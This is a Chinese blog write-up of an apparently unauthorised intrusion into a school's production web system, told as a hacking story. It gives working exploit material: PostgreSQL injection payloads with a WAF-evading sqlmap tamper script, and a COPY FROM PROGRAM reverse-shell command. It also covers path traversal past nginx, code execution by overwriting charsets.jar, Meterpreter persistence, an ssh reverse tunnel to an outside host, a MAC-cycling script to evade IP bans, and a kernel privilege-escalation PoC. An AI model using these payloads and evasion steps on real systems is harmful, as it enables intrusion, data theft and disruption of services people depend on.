免责声明:本测试的所有内容均在可控的环境内进行,本文章仅供交流学习,请于查阅后四十八小时内主动忘记。
目录
前言:本人在刚入学的几天就对此系统做了充分的测试,而这两年间始终未能攻破;直到最近发现了原作者写过的一个类似的套皮项目,才终于得到了打开 RCE 之门的那把唯一的钥匙。由于这样的原因,本文章将偏向于复现一个完整的测试过程。(上面的目录仅供参考)
注意:本文中出现的所有 IP、API Endpoint、数据 均已作模糊化处理。所有业务程序及数据均未被大量读取或恶意篡改。
关键词:PostgreSQL 盲注;PostgreSQL RCE;Vert.x 审计;JRE8 任意写 RCE;Meterpreter 长连接;OverlayFS 漏洞 CVE-2023-32629 提权;Redis RCE
PostgreSQL 注入
-
初出茅庐
虽然现在已经不是拿啊D扫天下的时代了,但遇到个网站还是会习惯性地往参数后面加上单引号,说不定有奇迹发生呢?而对于本次的XX系统,很显然它并没有发生。该系统的前后端均采用 JSON 在 /api/
子路由处交换数据,且所有提交的字段均具有类型验证,如 /api/message/5
,{"pid": 3}
,等,限制传参为 int 类型,无法注入。登录 /api/login
处发现字符串字段 username
会被带入数据库,但无法注入,返回类型只有:登陆成功,密码错误,用户名错误三种。
天无绝人之路,发现了一个有意思的提交点 /api/query
,其数据为 {"points": [1, 2, 3]}
。这里虽然有对 points
进行类型验证,但数组里面可就不一定了。试着改成 {"points": ["1, 2", "3"]}
,照样成功提交,且两种格式返回的结果具有一致性。这不是白来的 SQL 注入点?里面加个单引号,返回值变成 db exec error
了,虽然没有报错信息,也不知道后端的框架,DBMS,但不必惊慌 —— 直接上 sqlmap 跑它的。两年前,sqlmap 还能顺利跑完,但遗憾的是它说 not injectable ,开 level 5 risk 3 也是一样的结果。现在,sqlmap 没跑到一半呢都就被中间件 WAF 拦下大半了,还顺带 IP 封禁套餐,触发规则平均 30~90 秒后被封。用自动化工具基本上是不可能了,而且也测不出来。
手工注入嘛,勉为其难地猜一下,估计是类似 ','.join(points)
这样的东西,然后在 WHERE point IN ()
里拼接,那就简单了,试一个 ") -- "
,然而依旧 db exec error
。也有可能是加了引号?不可能,否则 "1, 2"
不可能正常执行,尝试 "\"3\""
正常,而 "\"1, 2\""
报错,证明没有引号。但是如果加 "'3'"
的话就会报错,难道还有什么 SQL 支持双引号,不支持单引号???先不管这个问题,有可能是不支持注释,或者后面有其他语句?那就闭合语句,试一个 "1) OR 1 IN (1"
,照样报错。这时候已经开始有些疑惑了,难道是拆成 OR 了?试一个 "1 AND 1=0 "
,还是报错。接着尝试了所有常见的组合,闭合了所有网上能搜到的 SELECT IN 的写法,也进行了很多奇妙的 fuzz test。就算它用 Access 也不应该全是 db exec error
。一度怀疑过这个地方到底是不是可注入的。
当然,熟悉 PostgreSQL 的朋友们应该能立刻联想到其他的几种写法,但问题是我不太熟 233,而且此时也没有得到关于任何 DBMS 的信息,万一它要是 Oracle DB 的话就更无从下手了。就这样,这个 API endpoint 保持只可远观不可亵玩的状态,直到最近,一场大雨改变了这一切。
-
渐入佳境
通常对于长这样的系统,盲猜 vue/react + nodejs + mysql 是很合理的,基本上八九不离十。后来证明了这是一个巨大的失策。鉴于作者在页面最底下留了版权信息,自然是得进他们的 GitHub 主页参观参观。大致扫了一眼,fork 的不看,跟 js 相关的重点看,然而并没有发现什么有价值的东西。直到前几天。突然想看看学长们写的课设长啥样,就每个项目点进去都扫一遍。其中有一个叫“毕业设计(代写版)”,Java 写的,想着看看主路由完事,结果直接震惊一百年:咋长得这么像呢?那熟悉的 /api/
endpoint,熟悉的全 json 传参,心想,不会吧?确信度 20%。
来到鉴权路由,一看是获取在 json body 里的 token 字段,且经过 AES + BASE64 加密,简直完全一样!确信度 50%。但这也只能表明作者的构架偏好,不能直接证明使用框架的相关性。Vert.x,不怎么听说过。没发现什么现成的洞。发动技能:奇技淫巧;搜索 404 界面内容,结果:
还真搜到了。。。这下可以 100% 确认后端使用的是 Vert.x,竟然是 Java,想都没想过,隐藏得太深。最后再确认一下,直接访问 /api/
会出一段提示信息,”Hello from api endpoint. You should normally not see this.”,跟“毕业设计(代写版)”有 99% 的重合度,这下可以放心了。虽然 endpoint 长得不太一样,但核心代码的重合度肯定是很高的。这下好了,黑盒变白盒,直接开审。
看源代码发现,传参使用的是 io.vertx.core.json.JsonObject
,调用最多的就是 param.getInteger()
,且登陆路由使用 io.reactiverse.reactivex.pgclient.PgConnection
的 rxPreparedQuery()
执行 SQL,这个 PreparedStatement 就别想注入了,跟预期一样。重要的是传入 JSON 数组的地方,什么个流程?定位到相关代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
// @RoutingContext // io.vertx.core.json.JsonObject JsonObject data = new JsonObject() .put("kid", param.getInteger("kid")) .put("contain", param.getJsonArray("contain", new JsonArray().add(-1))); // io.reactiverse.reactivex.pgclient.Tuple Tuple tuple = Tuple.of(Database.fromQueryString(Integer.toString(data.getInteger("kid"))), Database.fromQueryString(data.getJsonArray("contain"))); String sql = Database.generatePreparedQuery(SEARCH_SQL, tuple); // io.reactiverse.reactivex.pgclient.PgConnection conn.rxQuery(sql); |
继续跟进 Database 相关函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
public static String formQueryString(JsonArray dataArray) { String encodedData = dataArray.encode(); return encodedData.replace("[", "'{").replace("]", "}'"); } public static String formQueryString(String queryStr) { return new StringBuilder().append("'%").append(queryStr).append("%'").toString(); } public static String generatePreparedQuery(String sqlStatement, Tuple tupleObj) { String sanitizedSQL = sqlStatement.replaceAll("\r\n", " ").replaceAll("\n", " "); int tupleLength = tupleObj.size(); for (int i = 0; i < tupleLength; i++) { String replacement = Integer.toString(i + 1); String value = tupleObj.getValue(i).toString(); sanitizedSQL = sanitizedSQL.replace("$" + replacement, value); } return sanitizedSQL; } |
这下BBQ了,直接拼进去,也就造成了 SQL 注入的可能。不过参数看着有些陌生,从这里开始入坑 PostgreSQL:把 JSONArray
给 encode()
完变成 ["1, 2", "3"]
,然后进行一波奇妙的替换变成 '{"1, 2", "3"}'
直接拼进 SQL 语句里。咋回事捏?先看看 SEARCH_SQL 是啥:
1 |
select * from search_content_kid($1, $2); |
竟然是个函数。。。从一开始大方向就走错了。看看内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
CREATE FUNCTION public.search_content_kid(c_kid integer, c_content integer[]) RETURNS SETOF public."krcp" LANGUAGE plpgsql AS $$ DECLARE BEGIN BEGIN if -1 = any (c_content) Then RETURN Query select * from "krcp" where kid = c_kid; else RETURN Query select * from "krcp" where kid = any (c_content); end if; END; END ; $$; |
plpgsql 函数里面的这个 select 是不可注入的。所以目标很明确,控制原 select 的流程。由于 PostgreSQL 默认支持 stacked queries,直接闭合这个函数,传 "}'); -- "
,然后还是熟悉的 db exec error
。。。可能是参数的位置不对?原来不是只有一个 points 吗。。。然后想起之前 fuzz test 时的单双引号问题,单引号的问题得到了合理的解释,而XX系统中由 JSONArray
而来的字符串是不自带双引号的。与这里的代码存在一定差异。薛定谔的盒测试。也尝试在后面补不同个数类型的其他参数,仍然无济于事。当务之急是要确认XX系统里到底是不是这么写的,于是只能尝试闭合 "'{}'"
,使函数仍然正常调用。
即使不熟悉 pgSQL 也应该猜到了,"'{}'"
这是数组的写法。pgSQL 里函数的调用存在类型检查,必须保持插入 payload 后该处参数的类型仍为 integer[]
。开始尝试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
CREATE OR REPLACE FUNCTION public.func(ints integer[]) RETURNS SETOF int[] LANGUAGE plpgsql AS $$ DECLARE BEGIN RETURN QUERY select ints; END $$; -- PASS: 1,2,3 select func('{1, 2, "3"}'); -- ERROR: function func(text) does not exist select func('{1, 2}' || '{2, 3}'); -- ERROR: function func(text) does not exist select func('{1, 2' || '2, 3}'); -- PASS: 1,22,3 select func(('{1, 2' || '2, 3}')::int[]); -- PASS: 1,2,2,3,3,4 select func('{1, 2}'::int[] || '{2, 3}' || '{3, 4}'); |
可以发现,若是单个 string,pgSQL 可以将其隐式转至数组类型;而使用 ||
运算符则默认合并的是字符串,由于从左往右运算,仅需保证左边出现一个数组即可。立马构造一个 "1}'::int[] || '{1"
,终于,不是 db exec error
,正常地查询出了结果,说明走在一条康庄大道上!!
立马试一个 pg_sleep()
,然后发现被中间件 WAF 拦下来了。。。识别的是老老实实的 pg_sleep 这几个字符,包括大小写,JSON 的 \u 解码也给它做上了,难以绕过。。。不过幸好 pgSQL 提供了方便的 query_to_xml()
函数可以执行任意字符串存储的 SELECT 语句,但如何把它嵌入至 payload 中,还需要一番尝试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
-- ERROR: operator does not exist: integer[] || xml select func('{1}'::int[] || query_to_xml('select 1',true,true,'') || '{2}'); -- ERROR: cannot cast type xml to integer[] select func('{1}'::int[] || query_to_xml('select 1',true,true,'')::int[] || '{2}'); -- ERROR: operator does not exist: integer[] || xml[] select func('{1}'::int[] || ARRAY[query_to_xml('select 1',true,true,'')] || '{2}'); -- ERROR: operator does not exist: integer[] || boolean[] select func('{1}'::int[] || ARRAY[query_to_xml('select 1',true,true,'') ISNULL] || '{2}'); -- PASS: 1,0,2 select func('{1}'::int[] || ARRAY[query_to_xml('select 1',true,true,'') ISNULL ::int] || '{2}'); |
可以发现,pgSQL 是一定的强类型语言。对着在官网文档上找到的运算符表及优先级构造,最终得到了一个可行的 payload。(后来发现,还可以采用 LENGTH(query_to_xml('select 1',true,true,'')::text)
这样的构造法,其实有很多)
字符串的话,由于单引号没过滤根本,直接拆分就行,保险一点使用 CHR()
函数并起来也行,又或者直接从 HEX 转换也行 convert_from(decode('00000000','hex'),'UTF8')
。
提交如上构造好的 payload,观察到 pg_sleep()
成功执行了!!简单地搓一个 tamper ,把 SQL 全部塞到 query_to_xml 里面,然后直接扔进 sqlmap 跑:
1 2 3 4 |
def tamper(payload, **kwargs): sql = "convert_from(decode('*','hex'),'UTF8')".replace('*', payload.encode().hex()) prefix = "1,1}' || ARRAY[(select query_to_xml('select 1 where true'||*,true,true,'')) ISNULL ::int] || '{2,2" return prefix.replace('*', sql) |
多少心酸多少泪。
-
柳暗花明
获取一下基本信息,PostgreSQL 的提权由于其强大的功能,显得比较容易:
这下又BBQ克,有 superuser 权限,可以直接通过 COPY FROM 命令来 RCE。然后问题又来了:
1 2 |
-- ERR: COPY is not allowed in a non-volatile function select query_to_xml('copy tb from program ''id''',true,true,''); |
是的,query_to_xml 系列函数是 READ-ONLY 的,也就是说在这里只能执行 SELECT 语句,CREATE / INSERT / UPDATE 都是通通不行的。而像 EXECUTE 这种只能存在于 plpgsql 声明的函数里。也尝试过其他的 getshell 方案,只用 select 的话虽然能做到任意列目录读写文件,但由于这里是时间盲注,可能会对数据库及配置文件造成潜在的损害,这在生产环境中是无论如何都要避免的。
另辟蹊径,pg_stat_activity 中存放着当前执行的 SQL 语句。如果能爆出原来 SELECT 语句的具体结构,那不就可以闭合,然后直接堆叠注入了吗?当然,这也得建立在 WAF 没有过滤相应关键字的情况下。不过值得一试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
select pid, usename as username, datname as database_name, RIGHT(query, 50), application_name, backend_start, state, state_change from pg_stat_activity where usename = user and query like '%query_to_xml%' order by pid desc limit 1 |
这里有一个坑点:pg_stat_activity 中默认只会存放 sql query 的前 1024 个字节,也就是说如果上边用了 CHR()
加密 payload,那就会读不完。。。另外,query_to_xml
里面再次执行的 SQL 语句不会出现在这里,所以可以简单地用 query like ''
来匹配需要的那条语句。
sqlmap 跑出来的结果是: F8'),true,true,'')) ISNULL ::int] || '{2,2}','20')
。啊?就这么简单?后面多了个参数就?刚才咋没测出来??然后发现刚才都是拿的数字 0 或者空字符串进去测的,这里显然要求是一个正整数,属性相克了。。。
到这里,一切水落石出,柳暗花明,需要的只是把 rev shell 开好,然后提交如下的 payload 即可:
1 |
{"points":["1}',1); CREATE TABLE c_e(c_o text); COPY c_e FROM PROGRAM '{echo,XXXXX}|{base64,-d}|bash'; DROP TABLE c_e; -- -"] |
有意思的是,这里的表名本来默认是 cmd_exec
,然后被 WAF 拦下了,当时就很紧张。测试到后面发现检测的竟然是 exec(
这个组合。。。
后话:明文流量被信网办(SANGFOR STA 审计设备)监测到了,还是个高危风险。。。
Vert.x 审计
-
有限制的任意下载
话接上集,PostgreSQL 竟然是一个单独的服务器,256G 内存 2T 硬盘就跑一个数据库。。。能看到从另外两个 IP 过来的连接,看来距离完全拿下业务系统,还有一段路要走。
有了源代码作为参考,其他的 API 自然是需要重审一遍。来到了 /api/download
处,在 fuzz test 时试过 ../
进行 Directory Traversal,但没有成功,返回类型只有文件内容或“download failed”。定位到相关代码处:
1 2 3 4 5 |
// io.vertx.ext.web.Router subRouter.get("/api/download/:filename").handler(context -> { String filename = context.request().getParam("filename"); context.response().sendFile("upload/images/" + filename); }); |
可以发现,确实是直接拼进去的。那为啥什么都读不出来呢??这里需要提一嘴 WAF。这个东西,会 block 以下的请求:etc/
logs/
,虽然没有直接拦截 ../
,但会秋后算账拉清单,只要访问了,一分钟后必封 IP。然后 Windows 的重 DHCP lease 速度是可以想象的。。。也就是说,这个地方测起来时间成本特别高。那么回到这个任意下载点,为什么说它是有限制的呢,一是存在这么个 WAF,主要是 etc/
都过滤了还能读个啥东西;二是当 ../
的数目超过当前 URI path 长度时,会返回熟悉的 nginx 400 bad request。。。是的,前端存在一个 nginx 反代限制了能跳回的父目录层级;三是我的个人习惯,/etc/issue
读不了就读 /proc/version
,后来证明了这是一个巨大的失策。
一层一层解决。首先在本地起一个 Vert.x 相同 Router 代码,然后上 nginx 同版本 1.18.0 绕过,最后测试目标环境。对于 Vert.x 的路由参数处理逻辑,就不审代码了,直接测出一些基本结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
// curl --path-as-is localhost/PATH // SUCCESS GET /api/download/image-1.png // FAIL: TREAT AS /api/ GET /api/download/../ // FAIL: 404 NOT FOUND GET /api/download/1/../../../../../../../../../etc/issue // SUCCESS GET /api/download/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fissue // EMPTY RESPONSE GET /api/download/..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fversion // FAIL: FILE NOT FOUND GET /api/download/non_existence%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fissue |
可以发现,/:filename
并不是通配符匹配,但会自动解码 %2F
然后拼入 filepath
,存在目录穿越漏洞。这里存在两个坑:一是当尝试读 /proc/version
时,会发现返回的文件内容为空,是读取失败了吗?跟进 sendFile()
函数相关逻辑:
可以发现这里使用 file.length()
以及 offset
(从 sendFile()
调用时为 0)控制发送的字节位置。然后一个广为人知的事实就是,/proc/
里面的文件大小都是 0 字节,所以在这样的逻辑下是读不到的。。。这样也就排除了读 /proc/self/cmdline
等的可能,简直是不任意的文件下载。
然后第二个坑是,另一个广为人知的事实,对于跳回父目录的 ../
,只要路径中存在一个不存在的子目录,那么 Linux 会立即返回 file not found。继续跟进上图中 487 行的 resolveFile()
,会进入 java.io.File.exists()
,最终通过 JVM C Native 接口调用 stat()
函数判断文件是否存在。比如说,stat "/etc/"
是存在的,而 stat "/etc/non-existence-dir/../"
是不存在的。这要求我们的控制的路径参数必须以 ../
开始 ,不能包含多余的不存在目录,为之后的绕过埋下了伏笔。
接下来搭一个 nginx 1.18.0 并配置 /api/
反代。但是这里存在几种写法上的区别:location
加不加 /
?proxy_pass
加不加 /
?写没写到 /api
?没有一点办法,只能手动枚举各种情况,控制变量法确定配置文件的写法。基于以下的事实:
-
- 直接访问
/api
不会被转跳至/api/
; - 访问
/api/download/..
相当于访问/api
; - 访问
/api/download/../../
相当于访问主页,注意是前端的静态主页。
- 直接访问
可以合理地推测出配置文件是这样的:
1 2 3 |
location /api { proxy_pass http://IP:PORT; } |
不存在一些离谱的配置错误。现在考虑绕过 nginx 的目录层级限制。相信有经验的朋友应该能立刻联想到 CVE-2021-43798 也就是 Grafana LFI 的那个洞,PoC 为 /public/plugins/welcome/#/../../../../../../../../../etc/passwd
,其中 nginx 通过 /#/
进行绕过。但是在这个XX系统中,直接传入 /api/download/#%2F..%2F..%2F......
虽然得以绕过 nginx 的层级限制,但还记得上面的坑二,Java 未经 normalize
直接把 filepath
传进 stat()
调用吗?也就是说,#
这个目录不存在,即使跳再多的父目录,最终的文件都是不存在的,根本读不到。陷入瓶颈。
在这个时候尝试过各种 HTTP Smuggle 的方法,包括 nginx ≤ 1.18.0 的那个经典 CVE (虽然从未成功复现过),也包括 Vert.x 底层使用的 Netty 低版本那几个 CVE,但始终无法成功。还是得回到问题本身。仔细回想至此的所有特性,不知是否有灵光一现:使用 /api/download/#/../..%2F..%2F......
不就可以啦?nginx 跳过 /#/
之后的路径检查,而 Vert.x 检测到未编码的 /#/../
选择向上跳一级回到 /api/download/
路由,之后的 ..%2F
不就随便写啦?这是 nginx 与 Vert.x 的解析差异。
到这里虽然很兴奋,但鉴于 etc logs proc
全都读不了,一连试了好几个其他常见的文件,全都不存在。比较难搞。发动技能:奇技淫巧;读一个 /proc/self/exe
看看,不看不要紧,一看吓一跳,在里面找到了 GCC: (Alpine 8.2.0) 8.2.0
字串。再读一个 /bin/busybox
,果然有。Alpine 我还只在 docker 里用过。。。读一个 /.dockerenv
,然后还真tmd有。。。本来只想备份一下就跑路,然后 jar 包名死活猜不出来。。。既然是在 docker 环境里的话,其他也没什么有用的东西了。
-
有限制的任意上传
其实在前端 webpack 过后的 js 里搜路由的时候还发现了一个 /api/upload
,只是尝试下来需要特定用户权限,在那时还无法进行测试。但是别忘了,PostgreSQL 服务器已经纳入囊中,于配置备份文件处发现泄露的 postgre 明文密码。在数据库中查询到相应权限的用户,MD5 破不出来没关系,直接改,主要突出一个完全掌控。
登陆之后测试上传任意文件成功,同样找到对应源代码处开始审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
// io.vertx.ext.web.Router subRouter.post("/api/upload").handler(BodyHandler.create()); subRouter.post("/api/upload").handler(context -> { Set<FileUpload> files = context.fileUploads(); for (FileUpload fileUpload : files) { String dirPath = "upload/" + String.format("%s/%s/%s/", "images", LocalDate.now().getYear(), LocalDate.now().getMonth().getValue()); String path = dirPath + fileUpload.fileName(); FileSystem fileSystem = vertx.fileSystem(); if (!fileSystem.existsBlocking(dirPath)) fileSystem.mkdirsBlocking(dirPath); if (fileSystem.existsBlocking(path)) fileSystem.deleteBlocking(path); fileSystem.moveBlocking(fileUpload.uploadedFileName(), path); System.out.println("[I] File upload to " + path); } context.response().end("upload suc"); }); |
BBQ,filename
直接拼进去,理论上可以覆盖任意文件,无法创建目录。然后上传完是没有回显的。。。没错,根本不知道上传到哪了,之后才在数据库里发现相应的记录。测试上传到 ../../../../../../../../../root/test.txt
,然后使用上面的任意下载成功。初步的胜利。现在分别有了一个有限制的任意下载与上传,它们两个共同演奏出的,是动听的交响曲,还是恶魔的旋律?
-
二重奏的 RCE
鉴于是在 docker 环境里,可下载的东西少得可怜,可覆盖的东西也少得可怜。cron 肯定是没有的。又由于是 java,感觉不怎么会 reload 或者往外加载啥东西。由于是生产环境,也不敢乱覆盖 libc 这样的东西,万一打挂了咋办。
然后在佛前苦苦求了几千年,找到了大佬的文章《Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索》,大体上来说就是 JVM 会延迟加载某些内置的 jar 文件,比如 jre/lib/charsets.jar
会在第一次调用 Charset.forName()
后才被打开读入内存,使得以下的操作成为可能:覆盖 charsets.jar → 第一次触发 Charset.forName() → 读入 charsets.jar 并执行恶意 class 代码。
原文是在 Springboot 里的,而 Vert.x 使用的是 Netty。不过大差不差,直接开搜:
定位到可疑代码处:
回溯一层:
可以发现,this.currentFieldAttributes
是完全可控的,也就是说,提交如下的 multipart 字段:
1 2 |
--BOUNDARY_HERE Content-Disposition: form-data; name="charset"; charset="IBM037" |
即可触发 JVM 读取 charsets.jar 里面的 IBM037 编码。
由于只有一次机会,所以必须特别谨慎。在本机起一个 java -XX:+TraceClassLoading -jar demo.jar
观察:
1 2 3 4 5 6 7 8 |
Request: http://127.0.0.1:8888/api/upload [Loaded java.nio.charset.Charset$ExtendedProviderHolder from /opt/java/openjdk/jre/lib/rt.jar] [Loaded java.nio.charset.Charset$ExtendedProviderHolder$1 from /opt/java/openjdk/jre/lib/rt.jar] [Opened /opt/java/openjdk/jre/lib/charsets.jar] [Loaded sun.nio.cs.AbstractCharsetProvider from /opt/java/openjdk/jre/lib/rt.jar] [Loaded sun.nio.cs.ext.ExtendedCharsets from /opt/java/openjdk/jre/lib/charsets.jar] [Loaded sun.nio.cs.ext.IBM037 from /opt/java/openjdk/jre/lib/charsets.jar] [Loaded sun.nio.cs.SingleByte from /opt/java/openjdk/jre/lib/rt.jar] |
在包含如上的 multipart 字段后,记录里亮眼的 Opened /opt/java/openjdk/jre/lib/charsets.jar
跟 Loaded sun.nio.cs.ext.IBM037
证明了该方法的可行性。
于是选择冤大头 IBM037 下手,其他代码全都不需要,只留个:
上传覆盖 charsets.jar ,然后触发 Charset.forName ,可以看到 Hello World 程序执行了!!当然,由于懒得找反编译进去的时候需要的其他包,这里会有一个报错,但是并不重要。它!执!行!了!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
Hello World!!! Sep 01, 2023 11:43:07 AM io.vertx.core.impl.ContextImpl SEVERE: Unhandled exception java.lang.ClassCastException: sun.nio.cs.ext.IBM037 cannot be cast to java.nio.charset.Charset at sun.nio.cs.AbstractCharsetProvider.lookup(AbstractCharsetProvider.java:144) at sun.nio.cs.AbstractCharsetProvider.charsetForName(AbstractCharsetProvider.java:159) at java.nio.charset.Charset.lookupExtendedCharset(Charset.java:452) at java.nio.charset.Charset.lookup2(Charset.java:476) at java.nio.charset.Charset.lookup(Charset.java:464) at java.nio.charset.Charset.forName(Charset.java:528) at io.netty.handler.codec.http.multipart.HttpPostMultipartRequestDecoder.decodeMultipart(HttpPostMultipartRequestDecoder.java:498) at io.netty.handler.codec.http.multipart.HttpPostMultipartRequestDecoder.parseBodyMultipart(HttpPostMultipartRequestDecoder.java:442) at io.netty.handler.codec.http.multipart.HttpPostMultipartRequestDecoder.parseBody(HttpPostMultipartRequestDecoder.java:411) at io.netty.handler.codec.http.multipart.HttpPostMultipartRequestDecoder.offer(HttpPostMultipartRequestDecoder.java:336) at io.netty.handler.codec.http.multipart.HttpPostMultipartRequestDecoder.offer(HttpPostMultipartRequestDecoder.java:53) at io.netty.handler.codec.http.multipart.HttpPostRequestDecoder.offer(HttpPostRequestDecoder.java:223) at io.vertx.core.http.impl.HttpServerRequestImpl.onData(HttpServerRequestImpl.java:486) at io.vertx.core.http.impl.HttpServerRequestImpl.handleContent(HttpServerRequestImpl.java:136) at io.vertx.core.http.impl.Http1xServerConnection.handleContent(Http1xServerConnection.java:160) at io.vertx.core.http.impl.Http1xServerConnection.handleMessage(Http1xServerConnection.java:140) at io.vertx.core.impl.ContextImpl.executeTask(ContextImpl.java:369) at io.vertx.core.impl.EventLoopContext.execute(EventLoopContext.java:43) at ................................... |
路已经铺好了,接下来只需要把它走完。
由于是 Alpine,读一个 /lib/apk/db/installed
泄露出 JRE 的路径 /usr/lib/jvm/java-1.8-openjdk/jre/
,为了防止不兼容直接下一个上面的 charsets.jar 改。这里需要注意的是,nginx 默认上传大小是 1MB,而这里的 charsets.jar 有 1.8MB。。。需要删一点看起来不怎么有用的编码(比如说,除了 IBM037 之外所有 IBM 打头的 233)。然后还是相同的流程。成功上线:
接着发现几件无语的事情:文件下载处,实际上离根目录只有两层,根本没必要绕过 nginx。。。然后在同目录下 config.json 就可以直接读到 pgSQL 的密码,是开端口的,可以直接连。。。君子不计小人过,都 RCE 了,就算了。
幕间
-
IP 风波
由于第一次 exp 时往 charsets.jar 里写的是硬编码的 IP,然后中间出去上了一天课,回来发现 IP 变了。。。这就比较尴尬了。于是只能想办法把原来的 IP 刷回来。手动换 MAC 地址感觉不是个头,就叫 ChatGPT 写了个脚本刷 IP。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
#!/bin/bash # Function to get current IPv4 address get_ip() { ip -4 addr show ens33 | grep inet | awk '{print $2}' | cut -d/ -f1 } # Function to get current time in HH:MM:SS format current_time() { echo $(date +"%T") } # Function to increase MAC address increase_mac() { local old_mac=$1 IFS=':' read -ra mac_parts <<< "$old_mac" # Start with the last part for (( i=${#mac_parts[@]} - 1; i>=0; i-- )); do part=$(printf "%02x" $(( 0x${mac_parts[i]} + 1 ))) if [ "$part" != "100" ]; then mac_parts[i]=$part break else mac_parts[i]="00" fi done echo $(IFS=:; echo "${mac_parts[*]}") } # Save current IPv4 address current_ip=$(get_ip) echo "[ $(current_time) ] Current IP: $current_ip" # Initial MAC address mac="00:8c:91:3a:b7:00" while true; do # Increase MAC address mac=$(increase_mac $mac) echo "[ $(current_time) ] Changing MAC to $mac" # Change ens33 address sudo ip link set dev ens33 down sudo ip link set dev ens33 address $mac sudo ip link set dev ens33 up # Loop to check if IPv4 has changed while true; do new_ip=$(get_ip) if [ "$new_ip" != "$current_ip" ]; then break fi # Wait for 1 second before checking again sleep 1 done # Check whether the new IP is expected if [ "$new_ip" == "9.8.7.6" ]; then echo "[ $(current_time) ] Target IP reached. Exiting." exit 0 elif [ "$new_ip" == "" ]; then echo "[ $(current_time) ] Empty. Waiting for 300s" sudo ip link set dev ens33 down sleep 300 else echo "[ $(current_time) ] New IP: $new_ip" current_ip=$new_ip fi done |
本来以为刷一个 C 段就完事了,没想到它出现了第二个。那行吧,继续等等看,结果出现了第三个。。。看一下 IP ASN 信息,发现整个 /16 都是学校的,大无语,只能挂机刷着。睡一觉醒来发现刷到第七个的时候卡住了,估计是被 DHCP 服务器 rate limit 了。等了半天继续开刷,这下终于第一个段的 IP 过期了,又重新回来了。半小时刷到之前使用的 IP,然后当做无事发生。
-
Msf 风波
深信服的检测设备真tmdnb,吓得我连夜上了 msf。然后最安全的应该属 linux/x64/meterpreter_reverse_https 。按照官网文档配好 persistent 长连接,睡一觉起来发现 session 竟然掉了。试了第二次,第三次,也都掉了。而且情况十分诡异。然后发现这是 meterpreter 的 bug,比较无语。。。只要 LHOST 无法连接,过一段时间就会 memory leak 然后崩掉,OOM 或者哪溢出了,总之再也连不上。DDNS 表示:我做错什么了。
已经提了 issue,持续跟进中 https://github.com/rapid7/metasploit-framework/issues/18342。这阵子比较忙,可能之后有空读读 meterpreter 的源代码[坑1]。没办法,只能 fallback 到 reverse_tcp,但看起来也能使用 SSL 加密,凑合吧。
然后过了几天发现 reverse_tcp 也有点 bug,准确地说应该是 TCP 的 bug,具体来说就是 msfconsole 的 IP 被立即下线(封禁)以后,meterpreter 那边的连接一直会是 ESTABLISHED 的,也就是说再也连不回来。。。没找到地方开 TCP Keepalive,比较蛋疼。
最后是的,meterpreter 的 portfwd 也有问题。经常连接一断,session 也就断了,特别难用。还是得 ssh 把端口转出来:
1 |
sshpass -p xxxxxxxxxxxx ssh -R 11873:127.0.0.1:873 -N sshtunnel@IP -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PubkeyAuthentication=no -o ServerAliveInterval=300 |
横向移动
-
漫漫提权路
以 postgres 用户的权限虽然能读到小部分配置文件(主要通过备份泄露),但总感觉不够爽快,要打就得往死里打。那么首先,当然是使用亲爱的 local_exploit_suggester 扫一扫:
典型(typical),全部试了一下,果然都不行。鉴于是 ubuntu 20.04 和一个算不上旧的内核版本,暂且寻找其他可提权的利用点:
-
- 扫 SUID,自然是啥也没有,又不是打 CTF 呢;
- 找可写文件,crontab,自然也是啥也没有;
- 有什么奇技淫巧就不一一去试了,因为是比较标准默认安装的 ubuntu 新版本;
- 查看运行服务,nginx / rsync / vsftpd,都是新版本,无提权漏洞;
- rsync 以 root 运行,明文密码于备份文件泄露,但是 read only;
- vsftpd 密码不知道,虽然与 rsync 开放的是同目录,但权限是 www-data ,且 nginx 上没有任何动态服务(绕!);
- 查看 home 目录,发现一个以用户权限运行的 .service 程序是 777,这下开心坏了!拉回来 IDA 一看,go 写的。。。同步数据库用的,程序本身没啥问题,也没找到能让它崩溃重启的点,所以这里就算覆写了也没用;
- 这下穷途末路了。
然后偶然间看到了 Mr. CVE-2023-32629,PoC 都在那了没有不试的道理啊:
结果尴尬了,这个 root 啥文件也读不了。它就是个假 root!!高兴得太早。为什么这么说呢,之后看代码才发现它的功能等价于 unshare -rm sh -c "id"
,简直无语。不过相对地,CVE-2023-2640 的 PoC 确实是真实的:
1 2 3 4 5 |
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'; rm -rf l u w m |
简单分析一下,其实很显然,在 namespace 里进行 setcap,然后 mount overlay 并触发 copy_up,发现 capabilities 成功逃逸至原环境。但是这里的问题是,没错,目标机器 5.4.0-148,是不受影响的版本。然后再看一眼 CVE-2023-32629,很幸运地,直到 5.4.0-155 才被修复,也就是说这个漏洞是利用可能的!!苦于网上没有现成的 PoC,过几天它内核版本说不定就滚上去了,必须说干就干,根据现有的信息写一个出来。
首先整理一下 OverlayFS 的 timeline,可以发现主线都是围绕 copy_up 的权限检测错误:
-
- CVE 2016-1576 :copy_up 允许从自定义的 fuse 中拷贝任意 UID/GID 及 SUID 的程序。
- CVE-2021-3493 :copy_up 里的 vfs_setxattr() 缺乏对 namespace 的隔离,允许 capabilities 的直接拷贝。
- CVE-2021-3847 :不详。
